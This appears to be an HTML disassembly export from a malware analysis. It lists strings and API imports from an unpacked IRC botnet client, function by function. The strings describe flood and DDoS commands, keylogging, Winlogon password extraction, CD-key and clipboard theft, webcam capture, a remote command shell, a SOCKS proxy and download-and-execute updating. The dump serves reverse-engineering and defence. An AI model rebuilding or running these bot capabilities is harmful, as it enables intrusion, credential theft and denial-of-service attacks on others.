"quit"
"q"
"status"
"s"
"id"
"i"
"reboot"
"[MAIN]: Rebooting system."
"[MAIN]: Failed to reboot system."
"threads"
"t"
"aliases"
"al"
"log"
"lg"
"clearlog"
"clg"
"netinfo"
"ni"
"sysinfo"
"si"
"remov10e"
"remov10e2"
"procs"
"ps"
"getcdkeys"
"key"
"uptime"
"up"
"driveinfo"
"drv"
"testdlls"
"dll"
"opencmd"
"ocmd"
"cmdstop"
"Remote shell"
"[CMD]"
"who"
"-[Login List]-"
"<Empty>"
"%d. %s"
"[MAIN]: Login list complete."
"getclip"
"gc"
"flusharp"
"farp"
"flushdns"
"fdns"
"currentip"
"cip"
"rloginserver"
"rlogin"
"httpserver"
"http"
"tftpserver"
"tftp"
"crash"
"[MAIN]: Crashing bot."
"crash"
"findpass"
"fp"
"fofofo2"
"sfofofo2a"
"nick"
"n"
"join"
"j"
"part"
"pt"
"raw"
"r"
"killthread"
"k"
"c_quit"
"c_q"
"c_rndnick"
"c_rn"
"prefix"
"pr"
"open"
"o"
"s3rv3rfg"
"s3rv3rfg2"
"dns"
"dn"
"killproc"
"kp"
"kill"
"ki"
"delete"
"del"
"get"
"gt"
"list"
"li"
"visit"
"v"
"mirccmd"
"mirc"
"cmd"
"cm"
"readfile"
"rf"
"psniff"
"on"
"[PSNIFF]: Already running."
"#fa"
"[PSNIFF]: Carnivore packet sniffer acti"...
"[PSNIFF]: Failed to start sniffer threa"...
"off"
"[PSNIFF]: Carnivore stopped. (%d thread"...
"[PSNIFF]: No Carnivore thread found."
"ident"
"on"
"[IDENT]: Already running."
"[IDENTD]: Server running on Port: 113."
"[IDENTD]: Failed to start server, error"...
"off"
"[IDENT]: Server stopped. (%d thread(s) "...
"[IDENT]: No thread found."
"keylog"
"on"
"file"
"off"
"[KEYLOG]: Key logger stopped. (%d threa"...
"[KEYLOG]: No key logger thread found."
"[KEYLOG]: Already running."
"file"
"#ffKey"
"[KEYLOG]: Key logger active."
"[KEYLOG]: Failed to start logging threa"...
"net"
"[NET]: Failed to load advapi32.dll or n"...
"start"
"%s"
"[NET]: Service list completed."
"[NET]: Service list failed."
"stop"
"%s"
"pause"
"%s"
"continue"
"%s"
"delete"
"%s"
"share"
"%s"
"%s"
"[NET]: Share list completed."
"[NET]: Share list failed."
"user"
"%s"
"%s"
"%s"
"[NET]: User list completed."
"[NET]: User list failed."
"send"
"%s"
"[NET]: No message specified."
"[NET]: Command unknown."
"capture"
"cap"
"gethost"
"gh"
"addalias"
"aa"
"privmsg"
"pm"
"action"
"a"
"cycle"
"cy"
"mode"
"m"
"c_raw"
"c_r"
"c_mode"
"c_m"
"c_nick"
"c_n"
"c_join"
"c_j"
"c_part"
"c_p"
"repeat"
"rp"
"delay"
"de"
"falehupd"
"ufalehupdp"
"execute"
"e"
"findfile"
"ff"
"rename"
"mv"
"icmpflood"
"icmp"
"clone"
"c"
"ddos.syn"
"ddos.ack"
"synflood"
"syn"
"falehdownl"
"falehdownl2"
"redirect"
"rd"
"scan"
"sc"
"c_privmsg"
"c_pm"
"c_action"
"c_a"
"fofofo"
"f0f0f0"
"udpflood"
"udp"
"u"
"pingflood"
"ping"
"p"
"tcpflood"
"tcp"
"email"
" "
"_"
"helo $rndnick\nmail from: <%s>\nrcpt to: "...
"[EMAIL]: Message sent to %s."
"httpcon"
"hcon"
"upload"
"[FTP]: File not found: %s."
"%s\\%i%i%i.dll"
"ab"
"open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
"-s:%s"
"ftp.exe"
"open"
"[FTP]: Uploading file: %s to: %s"
"[FTP]: Uploading file: %s to: %s failed"...
"syn"
"ack"
"random"
"[TCP]: Invalid flood type specified."
"Spoofed"
"Normal"
"[TCP]: %s %s flooding: (%s:%s) for %s s"...
"[TCP]: Failed to start flood thread, er"...
"[TCP]: Invalid flood time must be great"...
"[PING]: Sending %d pings to %s. packet "...
"[PING]: Failed to start flood thread, e"...
"ICMP.dll not available"
"[UDP]: Sending %d packets to: %s. Packe"...
"[UDP]: Failed to start flood thread, er"...
"[SCAN]: Already %d scanning threads. To"...
"[SCAN]: Failed to start scan, port is i"...
"[SCAN]: Failed to start scan, no IP spe"...
"#ff-"
"Sequential"
"[SCAN]: %s Port Scan started on %s:%d w"...
"[SCAN]: Failed to start scan thread, er"...
"[%s] * %s %s"
"[%s] <%s> %s"
"[SCAN]: Port scan started: %s:%d with d"...
"[SCAN]: Failed to start scan thread, er"...
"[REDIRECT]: TCP redirect created from: "...
"[REDIRECT]: Failed to start redirection"...
"[DOWNLOAD]: Downloading URL: %s to: %s."...
"[DOWNLOAD]: Failed to start transfer th"...
"[SYN]: Flooding: (%s:%s) for %s seconds"...
"[SYN]: Failed to start flood thread, er"...
"[DDoS]: Flooding: (%s:%s) for %s second"...
"[DDoS]: Failed to start flood thread, e"...
"[CLONES]: Created on %s:%d, in channel "...
"[CLONES]: Failed to start clone thread,"...
"[ICMP]: Flooding: (%s) for %s seconds."
"[ICMP]: Failed to start flood thread, e"...
"[ICMP]: Invalid flood time must be grea"...
"[FILE]: Rename: '%s' to: '%s'."
"[FILE]:"
"[FINDFILE]: Searching for file: %s in: "...
"[FINDFILE]: Failed to start search thre"...
"[EXEC]: Couldn't execute file."
"FEnR"
"%s%s.exe"
"[UPDATE]: Downloading update from: %s."
"[UPDATE]: Failed to start download thre"...
"[UPDATE]: Bot ID must be different than"...
"332"
"%s %s %s :%s"
"[MAIN]: Delay."
"332"
"repeat"
"%s %s %s :%s"
"[MAIN]: Repeat: %s"
"[MAIN]: Repeat not allowed in command l"...
"PART %s"
"%s\r\n"
"JOIN %s %s"
"%s\r\n"
"NICK %s"
"%s\r\n"
"[CLONE]: Nick (%s): %s"
"MODE %s"
"%s\r\n"
"[CLONE]: Mode (%s): %s"
"%s\r\n"
"[CLONE]: Raw (%s): %s"
"MODE %s\r\n"
"[MAIN]: Mode change: %s"
"332"
"PART %s\r\n"
"JOIN %s %s\r\n"
"[MAIN]: Cycle."
"[MAIN]: Privmsg: %s: %s."
"[MAIN]: Alias added: %s."
"%s %s %s :%s"
"[MAIN]: Gethost: %s, Command: %s"
"[MAIN]: Unable to extract Gethost comma"...
"screen"
"[CAPTURE]: Screen capture saved to: %s."...
"[CAPTURE]: Error while capturing screen"...
"[CAPTURE]: No filename specified for sc"...
"drivers"
"[CAPTURE]: Driver #%d - %s - %s."
"[CAPTURE]: Driver list complete."
"frame"
"[CAPTURE]: Webcam capture saved to: %s."...
"[CAPTURE]: Error while capturing from w"...
"[CAPTURE]: Invalid parameters for webca"...
"video"
"[CAPTURE]: Amateur video saved to: %s."
"[CAPTURE]: Error while capturing amateu"...
"[CAPTURE]: Invalid parameters for amate"...
"r"
"[MAIN]: Read file complete: %s"
"[MAIN]: Read file failed: %s"
"\n"
"[CMD]: Error sending to remote shell."
"[CMD]: Commands: %s"
"[mIRC]: Client not open."
"[mIRC]: Command sent."
"[VISIT]: URL: %s."
"[VISIT]: Failed to start connection thr"...
"[FILE]: List: %s"
"%s"
"[DCC]: Send File: %s, User: %s."
"[DCC]: Failed to start transfer thread,"...
"[FILE]:"
"[PROC]: Process killed ID: %s"
"[PROC]: Failed to terminate process ID:"...
"[PROC]: Process killed: %s"
"[PROC]: Failed to terminate process: %s"...
"[DNS]: Lookup: %s -> %s."
"[DNS]: Lookup: %s -> %s."
"[DNS]: Couldn't resolve hostname."
"[MAIN]: Server changed to: '%s'."
"open"
"[SHELL]: File opened: %s"
"[SHELL]: Couldn't open file: %s"
"[MAIN]: Prefix changed to: '%c'."
"NICK %s"
"%s\r\n"
"QUIT :later\r\n"
"all"
"[THREADS]: Stopped: %d thread(s)."
"[THREADS]: No active threads found."
"[THREADS]: Killed thread: %s."
"[THREADS]: Failed to kill thread: %s."
"%s\r\n"
"[MAIN]: IRC Raw: %s."
"PART %s\r\n"
"[MAIN]: Parted channel: '%s'."
"JOIN %s %s\r\n"
"[MAIN]: Joined channel: '%s'."
"NICK %s\r\n"
"[MAIN]: Nick changed to: '%s'."
"[SCAN]: Already %d scanning threads. To"...
"#ff-"
"#ff-"
"Sequential"
"[SCAN]: %s Port Scan started on %s:%d w"...
"[SCAN]: Failed to start scan thread, er"...
"[SCAN]: Failed to start scan, port is i"...
"[FINDPASS]: Searching for password."
"[FINDPASS]: Failed to start search thre"...
"[TFTP]: Already running."
"amngesiyko.exe"
"[TFTP]: Server started on Port: %d, Fil"...
"[TFTP]: Failed to start server thread, "...
"[HTTPD]: Server listening on IP: %s:%d,"...
"[HTTPD]: Failed to start server thread,"...
"[RLOGIND]: Server listening on IP: %s:%"...
"[RLOGIND]: Failed to start server threa"...
"[FLUSHDNS]: DNS cache flushed."
"[FLUSHDNS]: Failed to flush DNS cache."
"[FLUSHDNS]: Failed to load dnsapi.dll."
"[FLUSHDNS]: ARP cache flushed."
"[FLUSHDNS]: Failed to flush ARP cache."
"[MAIN]: Get Clipboard."
"[CMD]: Remote shell already running."
"[CMD]: Couldn't open remote shell."
"[CMD]: Remote shell ready."
"[MAIN]: Uptime: %s."
"[CDKEYS]: Search completed."
"[PROC]: Already running."
"full"
"[PROCS]: Proccess list."
"[PROCS]: Failed to start listing thread"...
"[MAIN]: Removing Bot."
"[MAIN]: System Info."
"[MAIN]: Network Info."
"%s"
"[LOG]: Listing log."
"[LOG]: Failed to start listing thread, "...
"[MAIN]: Alias list."
"sub"
"[THREADS]: List threads."
"[THREADS]: Failed to start list thread,"...
"FEnR"
"[MAIN]: Bot ID: %s."
"[MAIN]: Status: Ready. Bot Uptime: %s."
"QUIT :%s\r\n"
"QUIT :later\r\n"
"QUIT :disconnecting\r\n"
"[MAIN]: Disconnecting."
"QUIT :reconnecting\r\n"
"[MAIN]: Reconnecting."
"Process list"
"[PROC]"
"Find file"
"[FINDFILE]"
"[SOCKS4]: Server started on: %s:%d."
"[SOCKS4]: Failed to start server thread"...
"secure"
"sec"
"Unsecuring"
"[SECURE]: %s system."
"[SECURE]: Failed to start secure thread"...
"FEnR"
"[MAIN]: %s"
"[MAIN]: User %s logged out."
"[MAIN]: No user logged in at slot: %d."
"[MAIN]: Invalid login slot number: %d."
"[MAIN]: User %s logged out."
"332"
"NICK %s\r\n"
"[MAIN]: Random nick change: %s"
"!"
"~"
"19736666386888"
"NOTICE %s :Pass auth failed (%s!%s).\r\n"
"NOTICE %s :Your attempt has been logged"...
"[MAIN]: *Failed pass auth by: (%s!%s)."
"NOTICE %s :Host Auth failed (%s!%s).\r\n"
"NOTICE %s :Your attempt has been logged"...
"[MAIN]: *Failed host auth by: (%s!%s)."
"19736666386888"
"[MAIN]: Password accepted."
"[MAIN]: User: %s logged in."
"USERHOST %s\r\n"
"+x"
"MODE %s %s\r\n"
"JOIN %s %s\r\n"
</font></pre></td></tr><tr id="sub_40A5B0"><td><pre><a name="sub_40A5B0"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_40A5B0"><font size=+2>sub_40A5B0</a>(5e59)</font>:<font color=brown>
"[NET]: %s username: '%s'."
"[NET]: %s: Error with username: '%s'. %"...
"[NET]: %s: No username specified."
</font></pre></td></tr><tr id="sub_404CEF"><td><pre><a name="sub_404CEF"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_404CEF"><font size=+2>sub_404CEF</a>(5fa9)</font>:<font color=darkgreen>
WS2_32.WSAStartup
WS2_32.WSASocketA
WS2_32.setsockopt
WS2_32.htons
WS2_32.htonl
WS2_32.sendto
WS2_32.WSAGetLastError
WS2_32.closesocket
WS2_32.WSACleanup</font>
<font color=brown>
"ddos.syn"
"ddos.ack"
"ddos.random"
"[DDoS]: Send error: <%d>."
</font></pre></td></tr><tr id="sub_4156E4"><td><pre><a name="sub_4156E4"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_4156E4"><font size=+2>sub_4156E4</a>(62a7)</font>:<font color=darkgreen>
WININET.InternetGetConnectedStateEx</font>
<font color=brown>
"Not connected"
"Dial-up"
"LAN"
"[NETINFO]: [Type]: %s (%s). [IP Address"...
</font></pre></td></tr><tr id="sub_409FDF"><td><pre><a name="sub_409FDF"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_409FDF"><font size=+2>sub_409FDF</a>(6353)</font>:<font color=brown>
"The specified service name is invalid."
"The requested control code is undefined"...
"The handle is invalid."
"The handle does not have the required a"...
"The service binary file could not be fo"...
"The service cannot be stopped because o"...
"The database is locked."
"A thread could not be created for the s"...
"The process for the service was started"...
"The requested control code is not valid"...
"An instance of the service is already r"...
"The system is shutting down."
"An unknown error occurred: <%ld>"
</font></pre></td></tr><tr id="sub_42A430"><td><pre><a name="sub_42A430"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_42A430"><font size=+2>sub_42A430</a>(642b)</font>:<font color=brown>
"initmon.c"
</font></pre></td></tr><tr id="sub_405B38"><td><pre><a name="sub_405B38"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_405B38"><font size=+2>sub_405B38</a>(6505)</font>:<font color=brown>
"%s\\*"
"%s\\%s"
"%s\\%s"
" Found: %s\\%s"
</font></pre></td></tr><tr id="sub_421790"><td><pre><a name="sub_421790"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_421790"><font size=+2>sub_421790</a>(6774)</font>:<font color=brown>
"str != NULL"
"_filbuf.c"
</font></pre></td></tr><tr id="sub_412814"><td><pre><a name="sub_412814"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_412814"><font size=+2>sub_412814</a>(6a52)</font>:<font color=darkgreen>
WS2_32.htons
WS2_32.socket
WS2_32.WSAAsyncSelect
WS2_32.bind
WS2_32.listen
WS2_32.accept
WS2_32.inet_ntoa
WS2_32.closesocket</font>
<font color=brown>
"[REDIRECT]: Client connection from IP: "...
"[REDIRECT]: Failed to start client thre"...
</font></pre></td></tr><tr id="sub_4210E0"><td><pre><a name="sub_4210E0"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_4210E0"><font size=+2>sub_4210E0</a>(6b94)</font>:<font color=brown>
"_file.c"
"_file.c"
</font></pre></td></tr><tr id="sub_4143B6"><td><pre><a name="sub_4143B6"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_4143B6"><font size=+2>sub_4143B6</a>(6ddc)</font>:<font color=brown>
"cmd /q"
"[RLOGIND]: Failed to execute shell, err"...
</font></pre></td></tr><tr id="sub_403D7C"><td><pre><a name="sub_403D7C"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_403D7C"><font size=+2>sub_403D7C</a>(6f62)</font>:<font color=darkgreen>
USER32.IsWindow
USER32.SendMessageA
USER32.DestroyWindow</font>
<font color=brown>
"Window"
</font></pre></td></tr><tr id="sub_42D6C0"><td><pre><a name="sub_42D6C0"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_42D6C0"><font size=+2>sub_42D6C0</a>(7086)</font>:<font color=brown>
"1#SNAN"
"1#IND"
"1#INF"
"1#QNAN"
</font></pre></td></tr><tr id="sub_41FA10"><td><pre><a name="sub_41FA10"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_41FA10"><font size=+2>sub_41FA10</a>(7112)</font>:<font color=brown>
"tidtable.c"
</font></pre></td></tr><tr id="sub_405C86"><td><pre><a name="sub_405C86"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_405C86"><font size=+2>sub_405C86</a>(727f)</font>:<font color=brown>
"[FINDPASS]: Only supported on Windows N"...
"SeDebugPrivilege"
"NTDLL.DLL"
"NtQuerySystemInformation"
"RtlCreateQueryDebugBuffer"
"RtlQueryProcessDebugInformation"
"RtlDestroyQueryDebugBuffer"
"RtlRunDecodeUnicodeString"
"USERNAME"
"USERDOMAIN"
"[FINDPASS]: The Windows logon (Pid: <%d"...
"[FINDPASS]: Unable to find the password"...
"[FINDPASS]: Unable to find Winlogon Pro"...
"SeDebugPrivilege"
"[FINDPASS]: Failed to enable Debug Priv"...
</font></pre></td></tr><tr id="sub_430740"><td><pre><a name="sub_430740"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_430740"><font size=+2>sub_430740</a>(734a)</font>:<font color=brown>
"setenv.c"
"setenv.c"
"setenv.c"
"setenv.c"
"setenv.c"
</font></pre></td></tr><tr id="sub_423C80"><td><pre><a name="sub_423C80"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_423C80"><font size=+2>sub_423C80</a>(7430)</font>:<font color=brown>
"_"
"."
</font></pre></td></tr><tr id="sub_421440"><td><pre><a name="sub_421440"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_421440"><font size=+2>sub_421440</a>(744e)</font>:<font color=brown>
"stream != NULL"
"_freebuf.c"
</font></pre></td></tr><tr id="sub_4138AA"><td><pre><a name="sub_4138AA"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_4138AA"><font size=+2>sub_4138AA</a>(76fa)</font>:<font color=brown>
"PC"
</font></pre></td></tr><tr id="sub_4258A0"><td><pre><a name="sub_4258A0"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_4258A0"><font size=+2>sub_4258A0</a>(77d3)</font>:<font color=brown>
"a_env.c"
"a_env.c"
</font></pre></td></tr><tr id="sub_41299C"><td><pre><a name="sub_41299C"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_41299C"><font size=+2>sub_41299C</a>(78f3)</font>:<font color=darkgreen>
WS2_32.socket
WS2_32.htons
WS2_32.inet_addr
WS2_32.gethostbyname
WS2_32.gethostbyaddr
WS2_32.connect
WS2_32.inet_ntoa
WS2_32.recv
WS2_32.send
WS2_32.closesocket</font>
<font color=brown>
"[REDIRECT]: Client connection to IP: %s"...
"[REDIRECT]: Failed to start connection "...
</font></pre></td></tr><tr id="sub_406D34"><td><pre><a name="sub_406D34"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_406D34"><font size=+2>sub_406D34</a>(7985)</font>:<font color=darkgreen>
WS2_32.htons
WS2_32.socket
WS2_32.bind
WS2_32.listen
WS2_32.ioctlsocket
WS2_32.select
WS2_32.__WSAFDIsSet
WS2_32.accept
WS2_32.recv
WS2_32.closesocket
WS2_32.WSAGetLastError</font>
<font color=brown>
"GET "
" "
" "
"GET "
"\r\n"
"[HTTPD]: Error: server failed, returned"...
</font></pre></td></tr><tr id="sub_41416C"><td><pre><a name="sub_41416C"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_41416C"><font size=+2>sub_41416C</a>(7989)</font>:<font color=darkgreen>
WS2_32.closesocket</font>
<font color=brown>
"[RLOGIND]: Failed to create ReadShell s"...
"[RLOGIND]: Failed to create ReadShell s"...
"[RLOGIND]: WaitForMultipleObjects error"...
</font></pre></td></tr><tr id="sub_4157B0"><td><pre><a name="sub_4157B0"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_4157B0"><font size=+2>sub_4157B0</a>(7b89)</font>:<font color=darkgreen>
WS2_32.socket
WS2_32.WSAGetLastError
WS2_32.setsockopt
WS2_32.inet_addr
WS2_32.htons
WS2_32.htonl
WS2_32.sendto
WS2_32.closesocket</font>
<font color=brown>
"[TCP]: Error: socket() failed, returned"...
"[TCP]: Error: setsockopt() failed, retu"...
"[TCP]: Invalid target IP."
"syn"
"ack"
"random"
"[TCP]: Error sending packets to IP: %s."...
"[TCP]: Done with %s flood to IP: %s. Se"...
</font></pre></td></tr><tr id="sub_42EB30"><td><pre><a name="sub_42EB30"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_42EB30"><font size=+2>sub_42EB30</a>(7d08)</font>:<font color=brown>
"am/pm"
"a/p"
</font></pre></td></tr><tr id="sub_404A02"><td><pre><a name="sub_404A02"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_404A02"><font size=+2>sub_404A02</a>(7d18)</font>:<font color=darkgreen>
WS2_32.recv
WS2_32.htonl
WS2_32.send
WS2_32.closesocket</font>
<font color=brown>
"%s%s"
"[DCC]: Error unable to write file to di"...
"a+b"
"[DCC]: Error opening file for writing."
"[DCC]: Error opening socket."
"[DCC]: Socket error."
"[DCC]: Transfer complete from IP: %s, F"...
</font></pre></td></tr><tr id="sub_423B20"><td><pre><a name="sub_423B20"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_423B20"><font size=+2>sub_423B20</a>(7d34)</font>:<font color=brown>
"_.,"
</font></pre></td></tr><tr id="sub_405084"><td><pre><a name="sub_405084"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_405084"><font size=+2>sub_405084</a>(7f5c)</font>:<font color=darkgreen>
WININET.InternetOpenUrlA
WININET.InternetReadFile
WS2_32.WSACleanup
WININET.InternetCloseHandle</font>
<font color=brown>
"[DOWNLOAD]: Couldn't open file: %s."
"[DOWNLOAD]: File download: %s (%dKB tra"...
"[DOWNLOAD]: Update: %s (%dKB transferre"...
"[DOWNLOAD]: Filesize is incorrect: (%d "...
"[DOWNLOAD]: CRC Failed (%d != %d)."
"[DOWNLOAD]: Downloaded %.1f KB to %s @ "...
"open"
"[DOWNLOAD]: Opened: %s."
"[DOWNLOAD]: Downloaded %.1fKB to %s @ %"...
"[DOWNLOAD]: Update failed: Error execut"...
"[DOWNLOAD]: Bad URL, or DNS Error: %s."
</font></pre></td></tr><tr id="sub_403569"><td><pre><a name="sub_403569"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_403569"><font size=+2>sub_403569</a>(7f68)</font>:<font color=brown>
"-[Alias List]-"
"%d. %s = %s"
</font></pre></td></tr><tr id="sub_401000"><td><pre><a name="sub_401000"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_401000"><font size=+2>sub_401000</a>(811e)</font>:<font color=brown>
"\\\\"
</font></pre></td></tr><tr id="sub_404416"><td><pre><a name="sub_404416"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_404416"><font size=+2>sub_404416</a>(8474)</font>:<font color=darkgreen>
WS2_32.socket
WS2_32.htons
WS2_32.inet_addr
WS2_32.gethostbyname
WS2_32.connect
WS2_32.closesocket</font>
<font color=brown></font></pre></td></tr><tr id="sub_40465D"><td><pre><a name="sub_40465D"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_40465D"><font size=+2>sub_40465D</a>(8611)</font>:<font color=darkgreen>
WS2_32.socket
WS2_32.htons
WS2_32.bind
WS2_32.getsockname
WS2_32.listen
WS2_32.inet_addr
WS2_32.htonl
WS2_32.select
WS2_32.accept
WS2_32.closesocket
WS2_32.send
WS2_32.recv
WS2_32.inet_ntoa</font>
<font color=brown>
"[DCC]: Failed to create socket."
"[DCC]: Failed to bind to socket."
"[DCC]: Failed to open socket."
"[DCC]: File doesn't exist."
"[DCC]: Send timeout."
"[DCC]: Unable to open socket."
"[DCC]: Transfer complete to IP: %s, Fil"...
"[DCC]: Socket error."
"[DCC]: Socket error."
</font></pre></td></tr><tr id="sub_40B271"><td><pre><a name="sub_40B271"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_40B271"><font size=+2>sub_40B271</a>(862d)</font>:<font color=darkgreen>
WS2_32.socket
WS2_32.inet_addr
WS2_32.gethostbyname
WS2_32.htons
WS2_32.sendto</font>
<font color=brown>
"[UDP]: Error sending pings to %s."
"[UDP]: Finished sending packets to %s."
</font></pre></td></tr><tr id="sub_416479"><td><pre><a name="sub_416479"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_416479"><font size=+2>sub_416479</a>(8732)</font>:<font color=brown>
"%s: %s stopped. (%d thread(s) stopped.)"...
"%s: No %s thread found."
</font></pre></td></tr><tr id="sub_412E64"><td><pre><a name="sub_412E64"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_412E64"><font size=+2>sub_412E64</a>(8856)</font>:<font color=darkgreen>
KERNEL32.SearchPathA</font>
<font color=brown>
"cmd.exe"
"[CMD]: Remote Command Prompt"
"[CMD]: Failed to start IO thread, error"...
</font></pre></td></tr><tr id="sub_40AD78"><td><pre><a name="sub_40AD78"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_40AD78"><font size=+2>sub_40AD78</a>(8a01)</font>:<font color=brown>
"[NET]: Message sent successfully."
"[NET]: %s <Server: %S> <Message: %S>"
</font></pre></td></tr><tr id="sub_42B7E0"><td><pre><a name="sub_42B7E0"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_42B7E0"><font size=+2>sub_42B7E0</a>(8c7e)</font>:<font color=brown>
"040a"
"1252"
</font></pre></td></tr><tr id="sub_414902"><td><pre><a name="sub_414902"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_414902"><font size=+2>sub_414902</a>(8ce4)</font>:<font color=darkgreen>
WS2_32.htons
WS2_32.socket
WS2_32.bind
WS2_32.listen
WS2_32.accept
WS2_32.inet_ntoa
WS2_32.closesocket</font>
<font color=brown>
"[SOCKS4]: Server started on: %s:%d."
"[SOCKS4]: Client connection from IP: %s"...
"[SOCKS4]: Failed to start client thread"...
"[SOCKS4]: Failed to start server on Por"...
</font></pre></td></tr><tr id="sub_409B2A"><td><pre><a name="sub_409B2A"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_409B2A"><font size=+2>sub_409B2A</a>(8e50)</font>:<font color=darkgreen>
USER32.OpenClipboard
USER32.GetClipboardData
USER32.CloseClipboard</font>
<font color=brown></font></pre></td></tr><tr id="sub_4192A0"><td><pre><a name="sub_4192A0"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_4192A0"><font size=+2>sub_4192A0</a>(8f05)</font>:<font color=brown>
"string != NULL"
"sscanf.c"
"format != NULL"
"sscanf.c"
</font></pre></td></tr><tr id="sub_42BAC0"><td><pre><a name="sub_42BAC0"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_42BAC0"><font size=+2>sub_42BAC0</a>(8ff4)</font>:<font color=brown>
"TZ"
"tzset.c"
</font></pre></td></tr><tr id="sub_4010E6"><td><pre><a name="sub_4010E6"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_4010E6"><font size=+2>sub_4010E6</a>(90cb)</font>:<font color=brown>
"\\\\"
</font></pre></td></tr><tr id="sub_41BC90"><td><pre><a name="sub_41BC90"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_41BC90"><font size=+2>sub_41BC90</a>(92b5)</font>:<font color=brown>
"mlock.c"
</font></pre></td></tr><tr id="sub_403FBB"><td><pre><a name="sub_403FBB"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_403FBB"><font size=+2>sub_403FBB</a>(9591)</font>:<font color=darkgreen>
ADVAPI32.RegOpenKeyExA
ADVAPI32.RegQueryValueExA
ADVAPI32.RegCloseKey</font>
<font color=brown>
"%s\\%s"
"r"
"="
"="
"%s CD Key: (%s)."
"%s CD Key: (%s)."
"%s CD Key: (%s)."
</font></pre></td></tr><tr id="sub_406C1D"><td><pre><a name="sub_406C1D"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_406C1D"><font size=+2>sub_406C1D</a>(9713)</font>:<font color=darkgreen>
WS2_32.WSAStartup
WS2_32.socket
WS2_32.inet_addr
WS2_32.htons
WS2_32.connect
WS2_32.closesocket
WS2_32.WSACleanup</font>
<font color=brown></font></pre></td></tr><tr id="sub_41A5E0"><td><pre><a name="sub_41A5E0"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_41A5E0"><font size=+2>sub_41A5E0</a>(9a33)</font>:<font color=brown>
"strupr.c"
</font></pre></td></tr><tr id="sub_40328A"><td><pre><a name="sub_40328A"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_40328A"><font size=+2>sub_40328A</a>(9b43)</font>:<font color=darkgreen>
WS2_32.inet_addr
WS2_32.inet_ntoa</font>
<font color=brown>
"[SCAN]: Failed to initialize critical s"...
"[SCAN]: %s:%d, Scan thread: %d, Sub-thr"...
"[SCAN]: Failed to start worker thread, "...
"[SCAN]: Finished at %s:%d after %d minu"...
</font></pre></td></tr><tr id="sub_40AC44"><td><pre><a name="sub_40AC44"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_40AC44"><font size=+2>sub_40AC44</a>(9bb4)</font>:<font color=brown>
"Invalid parameter."
"Server name not found."
"This network request is not supported."
"Not enough memory."
"The name is invalid."
"Duplicate share name."
"Invalid for redirected resource."
"Device or directory does not exist."
"Level parameter is invalid."
"A general failure occurred in the netwo"...
"The operation is allowed only on the pr"...
"The user account already exists."
"The group already exists."
"The password is shorter than required ("...
"An unknown error occurred."
"The computer name is invalid."
"Share not found."
"The user name could not be found."
"Network connection not found."
</font></pre></td></tr><tr id="sub_4162A8"><td><pre><a name="sub_4162A8"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_4162A8"><font size=+2>sub_4162A8</a>(9c71)</font>:<font color=brown>
"-[Thread List]-"
"%d. %s"
